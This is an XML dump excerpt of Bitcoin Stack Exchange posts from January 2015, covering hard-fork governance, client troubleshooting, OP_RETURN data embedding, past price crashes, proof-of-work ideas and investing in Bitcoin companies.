  <row Id="35616" PostTypeId="2" ParentId="35558" CreationDate="2015-01-19T06:29:56.680" Score="3" Body="&lt;p&gt;Bitcoin is a decentralized currency and there is nobody with &quot;supervisory power&quot; over it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone is welcome to suggest improvements to the protocol (changing hashing rules or anything else) at any time, and can create a source code patch to any of the several pieces of Bitcoin client software to implement them.  (The maintainers of Bitcoin Core or another piece of client software can do so simply by releasing a new version.) Each user can then make their own decision whether to adopt this patch or new version, or to continue using the software they already have.  (Of course, they might be more likely to decide to adopt a patch if it comes from a &quot;trustworthy&quot; source, such as the software maintainers.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a general consensus emerges that the improvement is desirable, and essentially all Bitcoin users adopt the patch, then the protocol has effectively changed.  So such a method could be used to make a change to the difficulty adjustment rules, should there be a consensus that such a change was necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume the patch changes the protocol in a way that is incompatible with the existing protocol, so that the old and new protocols disagree about the validity of certain blocks or transactions.  (For example, the new protocol might &quot;lower difficulty&quot; by saying a block of a certain low difficulty is valid in a certain situation, where the old protocol said it was invalid.)  If some people adopt the patch and others do not, then there will be a problem: those two groups will disagree over whether particular transactions or blocks are valid.  This situation is called a &lt;em&gt;hard fork&lt;/em&gt; and essentially would split Bitcoin into two separate currencies: &quot;old Bitcoin (BTCO)&quot; and &quot;new Bitcoin (BTCN)&quot;.  Anyone who held, say, 1 bitcoin before the fork would effectively now hold 1 BTCO and 1 BTCN.  The economic effects would be confusing, to say the least.   Many people consider that if such a state of affairs continued for a significant length of time, and with a significant population on each side, the effect would be to destroy confidence in both the new currencies and render them both valueless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a result, users are likely to be cautious about adopting patches that change the protocol.  They should only do so if they believe that the vast majority of other Bitcoin users will do the same.  For this reason, implementing protocol changes is as much a political challenge as a technical one, and it helps a lot to have &quot;trustworthy&quot; people advocating for the change.  So those trustworthy people may have some amount of power over the protocol, but not in a &quot;supervisory&quot; sense.  It's less like being the king, and more like being the prime minister of an unstable coalition government.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there was a feeling that the existing difficulty adjustment rules were not working well, the software maintainers and other well-regarded people could propose a change and hope that the user community as a whole would agree.  That's what would likely have to happen in a situation like what you describe.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-01-19T06:29:56.680" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35617" PostTypeId="1" CreationDate="2015-01-19T06:32:25.790" Score="0" ViewCount="2383" Body="&lt;p&gt;I am using javax.websockets to have a webSocket connection with Blockchain.info, except that it closes down after random intervals, and I can see the close reason as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'Unexpected end of stream', Error Code = 1006.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not able to figure out why this occurs. Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private void initializeWebSocketSession(Session session)&#xA;{&#xA;    WebSocketContainer container container = ContainerProvider.getWebSocketContainer();&#xA;    Session session = container.connectToServer(BlockchainWebSocketClient.class, URI.create(&quot;wss://ws.blockchain.info/inv&quot;));               &#xA;}&#xA;&#xA;public void onOpen(Session session) throws IOException&#xA;{&#xA;    session.setMaxIdleTimeout(0);&#xA;    session.getBasicRemote().sendText(&quot;{\&quot;op\&quot;:\&quot;unconfirmed_sub\&quot;}&quot;);&#xA;}&#xA;&#xA;@OnMessage&#xA;public void onMessage(String message, boolean isLastPartOfMessage)&#xA;{&#xA;    // Some logic&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19027" LastActivityDate="2015-01-19T06:32:25.790" Title="blockchain.info websocket: Error code = 1006, Unexpected end of stream" Tags="|blockchain.info|java|websockets|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35618" PostTypeId="1" CreationDate="2015-01-19T11:10:18.783" Score="3" ViewCount="3619" Body="&lt;p&gt;While my Bitcoin-Qt was synchronizing, I ran into the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It first loaded full blocks from blk00000.dat to blk00217.dat file (with file size about 131 MB per file). Then Bitcoin-Qt indexed everything from rev00000.dat to rev00214 (with file size about 17 MB per file), but skipped rev00215 and rev00216, and just created rev00217.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now Bitcoin-Qt is stuck synchronizing with network but doesn't load more block. The block number is constant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran Bitcoin-Qt for 9 more days. I want to keep all index data completed (to blk00214) and continue reindex from right before where the error occurred (blk00215), rather than restarting from the beginning. &lt;strong&gt;Is there a way to reindex from a certain point?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help!&lt;/p&gt;&#xA;" OwnerUserId="23006" LastEditorUserId="18196" LastEditDate="2015-01-19T17:51:36.600" LastActivityDate="2016-08-24T14:10:28.327" Title="Is there a way to reindex from disk but not start from blk0000.dat?" Tags="|bitcoin-core|synchronization|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35619" PostTypeId="2" ParentId="4445" CreationDate="2015-01-19T14:55:05.667" Score="6" Body="&lt;p&gt;&lt;a href=&quot;https://www.blocktrail.com/tBTC&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.blocktrail.com/tBTC&lt;/a&gt; now supports testnet too and has an API for it too (including wallet API)&lt;/p&gt;&#xA;" OwnerUserId="15209" LastEditorUserId="13744" LastEditDate="2017-07-06T21:10:13.647" LastActivityDate="2017-07-06T21:10:13.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35620" PostTypeId="1" AcceptedAnswerId="92272" CreationDate="2015-01-19T15:25:09.657" Score="3" ViewCount="965" Body="&lt;p&gt;I see that many new Bitcoin 2.0 apps are making use of the additional OP_RETURN parameter for attaching data. I see that max limit is 40 bytes or roughly 40 characters? My question now regarding OP_RETURN is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;So is it one OP_RETURN parameter for each bitcoin transaction or per each input/output address? If its each transaction, so its safe to say its about .0001 btc to send 40 byte message?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Which desktop / mobile wallets support adding a custom OP_RETURN message? (ex. attach a short url link)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Aside from OP_RETURN message attachment, what other methods are there to attach custom data?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2019-12-12T20:07:51.743" Title="Wallets that support 40 byte message attachment via OP_RETURN? Desktop / Mobile?" Tags="|client|message|mobile|op-return|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35621" PostTypeId="2" ParentId="35620" CreationDate="2015-01-19T15:47:55.390" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;So is it one OP_RETURN parameter for each bitcoin transaction or per&#xA;  each input/output address?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;One OP_RETURN output per transaction regardless of the number of inputs and outputs is standard for 0.9.x bitcoin core clients.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If its each transaction, so its safe to say its about .0001 btc to&#xA;  send 40 byte message?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, but you should not do it without significant reasons.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Aside from OP_RETURN message attachment, what other methods are there&#xA;  to attach custom data?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are different methods. You can use fake public keys in bare multisig outputs. Or encode some data with values or addresses of other outputs.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-01-19T15:47:55.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35622" PostTypeId="2" ParentId="35620" CreationDate="2015-01-19T16:17:29.970" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Aside from OP_RETURN message attachment, what other methods are there to attach custom data?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;IP Transactions can do that. BIP0070 will probably be able to do that.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-01-19T16:17:29.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35623" PostTypeId="2" ParentId="35618" CreationDate="2015-01-19T17:57:46.403" Score="4" Body="&lt;p&gt;Unfortunately, I don't believe the &lt;code&gt;-reindex&lt;/code&gt; option has the ability to be that smart. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were you, I would:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Shutdown Bitcoin-Qt&lt;/li&gt;&#xA;&lt;li&gt;Start Bitcoin-QT with the &lt;code&gt;-reindex&lt;/code&gt; flag&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Reindexing doesn't take very long usually (maybe a few hours). 9 days is a long time to wait, it would probably be better to just start with a clean reindex. This won't delete the &lt;code&gt;blkxxxxx.dat&lt;/code&gt; files, so you won't have to download all that data again at least.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-01-19T17:57:46.403" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35624" PostTypeId="1" CreationDate="2015-01-19T20:02:18.467" Score="3" ViewCount="76" Body="&lt;p&gt;As of Jan 2015, the price of Bitcoin has plummeted from 300ish to 200 since the summer of 2014. This wasn't the first time happening to have the price plummet in such a state where mass media starts reporting &quot;&lt;strong&gt;the death of bitcoin&lt;/strong&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;What were the previous dates and percentage drops in USD that caught mass media attention prior to 2015 Jan?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What were some of the articles that were reported on these dates believing that Bitcoin is about to die? And by whom?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="2306" LastEditDate="2015-01-20T02:53:40.497" LastActivityDate="2015-01-21T00:07:21.580" Title="What were the dates of Bitcoin's previous price plummets prior to 2015? What articles were written about it?" Tags="|price-volatility|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35627" PostTypeId="1" CreationDate="2015-01-20T08:54:34.947" Score="1" ViewCount="176" Body="&lt;p&gt;In bitcoin, the probability of discovering a block on the X-th hash is the same&lt;sup&gt;1&lt;/sup&gt; as it is on the Y-th hash. As such, the probability of discovery is &lt;em&gt;stochastically &lt;strong&gt;in&lt;/strong&gt;dependent&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Are there proof of work algorithms that are &lt;em&gt;stochastically dependent&lt;/em&gt;?&lt;/strong&gt; Miners using one might have no idea how close to a discovery they are, but they would know that they are &quot;getting closer&quot;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Read on if you would like a quick and dirty description of why I think such an algorithm could be interesting:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A consequence of bitcoin's stochastical independence is that whenever a miner discovers a block, none of the other competing miners are &quot;any closer&quot; to rediscovering the same block (with a different, yet valid hash also meeting the difficulty). It is of course only natural then that bitcoin doesn't provide any incentive/reward for rediscovering blocks, as that proof of work is better spent attempting to discover the newest block. Unfortunately though, an attacker with enough hashing power and time has a good chance of besting the competition several times in a row; which is why it's said that to be safe you need to wait for 6 confirmations, which amounts to an hour of transaction waiting time for. We could say that in bitcoin confirmations are &lt;em&gt;serial&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In contrast, stochastically dependent proof of work could allow for efficient implementation of &lt;em&gt;parallel&lt;/em&gt; confirmations; thereby greatly reducing transaction waiting time, since rediscoveries could be expected to follow shortly after the first discovery of a block. Assume a cryptocurrency using such proofs to reward not just the first discovery of a block, but also the first X of its rediscoveries. The payment receiver then only needs to verify that the transaction is listed in all the block's discoveries (or at least a high enough percentage thereof). The amount of hash power needed by an attacker to make rediscoveries should ideally be the same as it was for the initial discovery (grow linearly). These rediscovery hashes could be recorded in the same way as transactions, by being included for a fee/reward in a child block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;sub&gt;Actually, the probability increases ever so slightly when no blocks have been discovered yet, and only a fixed minimum of bits are altered such as when only the nonce field is increased; but the difference is so small as to make no matter, given the astronomical number of possible hashes meeting the current difficulty.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="19556" LastActivityDate="2015-01-21T21:32:46.587" Title="Are there any stochastically dependent proof of work algorithms?" Tags="|alternatives|altcoin|confirmations|algorithms|proof-of-work|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35628" PostTypeId="1" CreationDate="2015-01-20T09:32:06.987" Score="0" ViewCount="233" Body="&lt;p&gt;It seems to me that every new coin introduced, they list source code in Github.&#xA;Is that customary in the industry?&lt;/p&gt;&#xA;" OwnerUserId="22992" LastActivityDate="2015-01-20T12:36:31.663" Title="I just made my altcoin, should I list my source code at Github?" Tags="|altcoin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35631" PostTypeId="1" CreationDate="2015-01-20T11:19:03.993" Score="2" ViewCount="747" Body="&lt;p&gt;Is it possible to invest in a bitcoin startup/company without being an accredited investor?&#xA;Say for example I would like to invest in coinbase.com, is this possible?&lt;/p&gt;&#xA;" OwnerUserId="23017" LastActivityDate="2021-02-25T09:53:25.253" Title="How to invest in a bitcoin startup" Tags="|investing|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35632" PostTypeId="2" ParentId="35624" CreationDate="2015-01-20T11:22:37.910" Score="4" Body="&lt;p&gt;The most notable cases were:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In 2011, the price reached a peak of $32 in June, and went down all the way to $2 in November. A decrease by a x16 factor, or 93.75%.&lt;/li&gt;&#xA;&lt;li&gt;In 2013, the price reached a peak of $266 in April, and quickly afterwards went down to the $65 range. A 75% drop.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This can be seen graphically &lt;a href=&quot;http://bitcoincharts.com/charts/mtgoxUSD#tgSzm1g10zm2g25zvzl&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://bitcoincharts.com/charts/bitstampUSD#tgSzm1g10zm2g25zvzl&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for media coverage, &lt;a href=&quot;http://bitcoinobituaries.com/&quot; rel=&quot;nofollow&quot;&gt;this list of &quot;obituaries&quot;&lt;/a&gt; is handy. Among the most infamous (at least, around people who were around that long) is wired.com's 2011 piece &quot;&lt;a href=&quot;http://www.wired.com/2011/11/mf_bitcoin/all/&quot; rel=&quot;nofollow&quot;&gt;The Rise and Fall of Bitcoin&lt;/a&gt;&quot;.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2015-01-21T00:07:21.580" LastActivityDate="2015-01-21T00:07:21.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35633" PostTypeId="2" ParentId="35628" CreationDate="2015-01-20T12:36:31.663" Score="2" Body="&lt;p&gt;Most users are not going to trust a closed-source altcoin, so you should make its code available to the public. &lt;a href=&quot;https://bitcoin.meta.stackexchange.com/questions/629/suggestion-closed-source-cryptocurrencies-should-be-off-topic&quot;&gt;This board also doesn't support closed-source cryptocurrencies&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/blog/11-github-free-for-open-source&quot; rel=&quot;nofollow noreferrer&quot;&gt;GitHub provides free hosting for open-source projects&lt;/a&gt; and has become a standard in the open source community so (primary opinion-based statement follows) it's probably a good idea to put your code there. &lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastEditorUserId="-1" LastEditDate="2017-03-16T15:49:08.657" LastActivityDate="2015-01-20T12:36:31.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35634" PostTypeId="2" ParentId="17690" CreationDate="2015-01-20T13:20:55.560" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://blocktrail.com&quot; rel=&quot;nofollow&quot;&gt;https://blocktrail.com&lt;/a&gt; has a testnet faucet but requires login&lt;/p&gt;&#xA;" OwnerUserId="21556" LastActivityDate="2015-01-20T13:20:55.560" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35635" PostTypeId="1" AcceptedAnswerId="35636" CreationDate="2015-01-20T15:01:03.860" Score="3" ViewCount="617" Body="&lt;p&gt;Could a dominating chain fork actually be shorter (in blocks) than its abandoned predecessor? Under what circumstances could this happen?&lt;/p&gt;&#xA;" OwnerUserId="14319" LastEditorUserId="5406" LastEditDate="2018-05-04T17:05:46.833" LastActivityDate="2018-05-04T17:05:46.833" Title="Can a shorter chain overcome a longer one?" Tags="|blockchain-fork|chain-reorganization|best-chain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35636" PostTypeId="2" ParentId="35635" CreationDate="2015-01-20T15:38:23.973" Score="7" Body="&lt;p&gt;Background info:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/29742/strongest-vs-longest-chain-and-orphaned-blocks&quot;&gt;Strongest vs Longest chain and orphaned blocks&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/936/how-does-a-client-decide-which-is-the-longest-block-chain-if-there-is-a-fork&quot;&gt;How does a client decide which is the longest block chain if there is a fork?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/20597/where-exactly-is-the-off-by-one-difficulty-bug/20598#20598&quot;&gt;Where exactly is the &amp;quot;off-by-one&amp;quot; difficulty bug?&lt;/a&gt; (timewarp info)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A shorter chain could possibly be considered the correct one, but it would be very hard to make this happen in bitcoin. I can think of two ways this could happen.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1) Go back to the genesis block and use the time warp attack. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/35321/how-could-a-time-warp-attack-be-prevented&quot;&gt;this&lt;/a&gt; for information on how the timewarp attack works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would let the attacker create a very long chain very quickly, because the difficulty could be artificially kept low even though blocks were solved very quickly. However, this chain would not have nearly as much work as the main chain, and so even if it were longer, it would not be accepted by the network as the correct chain. It would also fail most wallets' checkpoints.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2) Two blocks are solved at the last height in a difficulty period and a network fork ensues.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If there happened to be a fork in the last block of a difficulty period, then the new difficulty for the next period would be different depending on which side of the fork you were on. In this case, blocks solved on top of one side of the fork would have precedence over the other. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't a case of a shorter chain being chosen over a longer chain (unless the fork gets really long), but rather two chains of the same length and one of them being chosen by the network as the correct one even if it gets seen second.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2015-01-21T19:13:12.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35638" PostTypeId="2" ParentId="11968" CreationDate="2015-01-20T16:44:14.327" Score="0" Body="&lt;p&gt;LocalBitcoins is pretty much the only why you can buy bitcoins in VEF.&#xA; and it would help you a lot if you have a bank account in banesco or bancomercantil&#xA; since most of the transactions happens in does banks. &lt;/p&gt;&#xA;" OwnerUserId="23019" LastActivityDate="2015-01-20T16:44:14.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35639" PostTypeId="2" ParentId="35631" CreationDate="2015-01-20T17:50:57.087" Score="1" Body="&lt;p&gt;Yes it is possible, though I highly doubt that you would be able to invest in a coinbase round without being an accredited investor with lots of experience in the bitcoin space. That's not because of legal requirements, it's just where they're at in their business. As a general rule though, anyone can invest in a startup if they're able to convince the existing controlling shareholders to allow it. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2015-01-20T17:50:57.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35640" PostTypeId="2" ParentId="35631" CreationDate="2015-01-20T19:03:52.047" Score="0" Body="&lt;p&gt;If you want to invest in the whole Bitcoin ecosystem, it's best to just invest in Bitcoin itself. This would essentially let you invest in the success of all Bitcoin companies, due to the limited supply of Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some companies that put their shares up in open marketplaces like &lt;a href=&quot;https://www.havelockinvestments.com/&quot; rel=&quot;nofollow&quot;&gt;Havelock&lt;/a&gt;. This would allow you to invest in some companies specifically.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2015-01-20T19:03:52.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35641" PostTypeId="1" CreationDate="2015-01-20T20:35:44.457" Score="1" ViewCount="601" Body="&lt;p&gt;So I had my Bitcoin wallet at Multibit and due to computer problems I formatted my hard drive and the wallet within it. I have no backups of the wallet, I have only my account name. Are my Bitcoins now gone forever?&lt;/p&gt;&#xA;" OwnerUserId="23021" LastEditorUserId="5406" LastEditDate="2015-01-20T22:25:46.190" LastActivityDate="2017-08-06T10:16:27.077" Title="Wallet gone, how to get it back?" Tags="|multibit|lost-wallet|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35642" PostTypeId="2" ParentId="35641" CreationDate="2015-01-20T20:38:56.490" Score="1" Body="&lt;p&gt;I would check these help pages out. The first one explains that your wallet may not be fully deleted.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://multibit.org/en/help/v0.5/help_support_missingWallets.html&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/en/help/v0.5/help_support_missingWallets.html&lt;/a&gt;&#xA;  &lt;a href=&quot;https://multibit.org/en/help/v0.5/help_lostOrForgottenPassword.html&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/en/help/v0.5/help_lostOrForgottenPassword.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Multibit has a pretty good troubleshooting page too, which explains where all their data is stored. I would check and see if you have any data in your system specific directory.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://multibit.org/en/help/v0.5/help_troubleshooting.html&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/en/help/v0.5/help_troubleshooting.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If the wallet is truly deleted, and you don't have any backups, then yes, unfortunately your bitcoins are gone forever. :/&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-01-20T21:01:58.003" LastActivityDate="2015-01-20T21:01:58.003" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35643" PostTypeId="1" CreationDate="2015-01-20T20:47:58.367" Score="2" ViewCount="607" Body="&lt;p&gt;Someone recently suggested that scripts could get embedded inside the blockchain and executed independently by designated machines. What exactly can get stored inside the blockchain, and what are the limits? For instance, if someone uses Bitcoin to purchase electronics from an online site, could the review get embedded inside the transaction and be available for all to view (as opposed to controlled by the seller site)?&lt;/p&gt;&#xA;" OwnerUserId="14857" LastActivityDate="2015-04-25T05:28:25.663" Title="How do text, scripts, and other information get embedded inside the blockchain?" Tags="|blockchain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35645" PostTypeId="1" CreationDate="2015-01-20T21:03:18.137" Score="2" ViewCount="216" Body="&lt;p&gt;When a new counterparty token is created, are they all created at once? Or can there be a custom distribution schedule? Basically, I'm wondering if all counterparty tokens are centrally distributed or if there can be a way to distribute them in a decentralized way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way of asking this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Bitcoin, mining serves two purposes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;To secure the blockchain and make it hard to overpower&lt;/li&gt;&#xA;&lt;li&gt;To distribute coins in a decentralized way&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is there a way to use counterparty for (1) but still do mining for (2)?&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-01-21T15:58:13.067" LastActivityDate="2018-03-29T14:01:45.053" Title="How can counterparty tokens be distributed?" Tags="|wealth-distribution|counterparty|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35646" PostTypeId="2" ParentId="6012" CreationDate="2015-01-20T21:22:11.000" Score="2" Body="&lt;p&gt;I think this is a subjective question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just because we are bullish and are expecting growth in users, does this mean we will see a rise in price?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not necessarily from my view as I dont think price always indicates a rise in popularity and usage. Price indicates there are more users buying than selling, however a price decline indicates more users willing to sell at cheaper prices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now talking about hardware, you have to consider who is in the mining industry going forward. We are seeing a massive growth in factory mining facilities. Ones that are spending millions in purchasing hardware and outfitting warehouses to mine.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How long will a $1200 + cost of operating investment to turn a profit? 3, 6, 9 months? How do you calculate your ROI? Are you using a static price? Are you expecting a increase in price? Are you accounting for a potential decline? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next question you need to ask is are you accounting for difficulty increase? Big warehouse miners that come online can cause massive spikes in difficulty and will extend your ROI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I favor the latter specifically for all the unknown outcomes pointed out above. Big industrial miners have driven the small home miners out of the industry unless you can power it for cheap and expect to only really break even. I view it as gambling, you'll likely break even, but you are likely to not make a profit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My view: BUY BITCOINS! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Purchasing $1200 worth of bitcoins(at todays price of $210) means you'll be able to purchase 5.68 BTC. On the flip side, you could say you'll purchase $20 of bitcoins everyday for the next 60 days regardless of price. This means if the price is lower in 10 days, your going to get more BTC, and if higher youll get less. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Purchasing in segments means your positioning yourself incase of a more downward price. We've been in a price decline for some time now, and theres no signs that we've hit bottom which means we can expect more lower prices(people want to cash out causing more supply of coins).&lt;/p&gt;&#xA;" OwnerUserId="21231" LastActivityDate="2015-01-20T21:22:11.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35647" PostTypeId="2" ParentId="35631" CreationDate="2015-01-20T23:35:25.240" Score="0" Body="&lt;p&gt;Check these out:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitli.st/&quot; rel=&quot;nofollow&quot;&gt;http://bitli.st/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://btcjam.com/&quot; rel=&quot;nofollow&quot;&gt;https://btcjam.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitlendingclub.com&quot; rel=&quot;nofollow&quot;&gt;http://bitlendingclub.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Main thing to keep in mind: it's good to diversify since there is no regulations that are really effective if a project crash. So, small amounts, in many different investments, less chances to lose big.&lt;/p&gt;&#xA;" OwnerUserId="23023" LastEditorUserId="18196" LastEditDate="2015-01-23T04:36:52.523" LastActivityDate="2015-01-23T04:36:52.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
